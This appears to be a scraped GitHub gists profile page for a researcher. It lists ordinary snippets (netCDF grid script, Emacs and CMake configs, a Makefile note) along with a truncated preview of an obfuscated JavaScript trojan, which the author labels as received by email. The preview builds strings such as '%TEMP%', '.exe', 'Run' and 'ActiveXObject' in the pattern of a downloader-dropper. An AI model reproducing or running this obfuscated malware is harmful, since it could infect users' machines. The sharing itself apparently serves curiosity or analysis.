Skip to content

Instantly share code, notes, and snippets.

View angus-g's full-sized avatar

Angus Gibson angus-g

  • The Australian National University
View GitHub Profile
from netCDF4 import Dataset
import numpy as np
NK = 40
depth = 4000
with Dataset('vgrid.nc', 'w') as d:
d.createDimension('level', NK)
zt = d.createVariable('zt', 'f8', ('level',))
zt.units = b'm'
@angus-g
angus-g / FAQ7971133505.js
Last active March 22, 2016 23:59
Javascript trojan thing I received by email
iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("hinduism","naval","n")+"hh"+("witch","variegated","relay","debauchery","lH")+"CNAl", "A"+"iR"+"Nh"+("usenet","directly","increasingly","cD")+"nBHy", "E"+"xpan"+("tutelary","attention","playwright","hermitage","dEnviron")+"me"+"nt"+"Stri"+("wallace","flood","ngs"), ("westerly","expectations","distinction","alabama","")+"%"+("appendix","larceny","TE")+"MP%", ""+("moiety","poignant","sandra",".")+"exe", ("bacteria","clothing","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("structural","malefactor","vi")+("commitment","guild","anonymous","annie","nc")+"enti"+"ve"+"eXincentiv"+("cookies","blueblack","hearsay","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("expanding","lounge","bored",

Makefile

Makefiles are used to specify rules for GNU make. In its simplest form, the syntax involves declaring targets and their prerequisites, along with instructions to make the former from the latter:

foo: foo.c
	$(CC) $(OUTPUT_OPTION) $^
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
(evil-define-command evil-delete-buffer (buffer &optional bang)
"Deletes a buffer.
All windows currently showing this buffer will be closed except
for the last window in each frame."
(interactive "<b><!>")
(with-current-buffer (or buffer (current-buffer))
(when bang
(set-buffer-modified-p nil)
(dolist (process (process-list))
(when (eq (process-buffer process) (current-buffer))
;; set up MELPA as a package repository
(require 'package)
(setq package-enable-at-startup nil)
(add-to-list 'package-archives
'("melpa" . "https://melpa.org/packages/"))
(package-initialize)
;; load use-package if required, as a better
;; means to configure packages
(unless (package-installed-p 'use-package)
(setq *Scl 16)
(load "@lib/math.l")
# precompute the 64-element constant table
# take the integer part of 2^32 * abs(sin(i)) for i = 1 to 64
# (where i is in radians)
(setq Table
(make (for I 64
(let K (* (** 2 32) (abs (sin (* 1.0 I))))
(link (format (head -16 (chop K))))))))
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
# we need at least 3.7 to generate Ninja output
# that will deal with the preprocessing to get dependencies
# correct in FMS
cmake_minimum_required(VERSION 3.7)
project(MOM6 C Fortran)
# gfortran configuration
set(CMAKE_Fortran_COMPILER mpifort)
set(CMAKE_Fortran_FLAGS "-fcray-pointer -fdefault-real-8 -fdefault-double-8 -Waliasing -ffree-line-length-none -fno-range-check -O3")
set(CMAKE_C_FLAGS "-O2")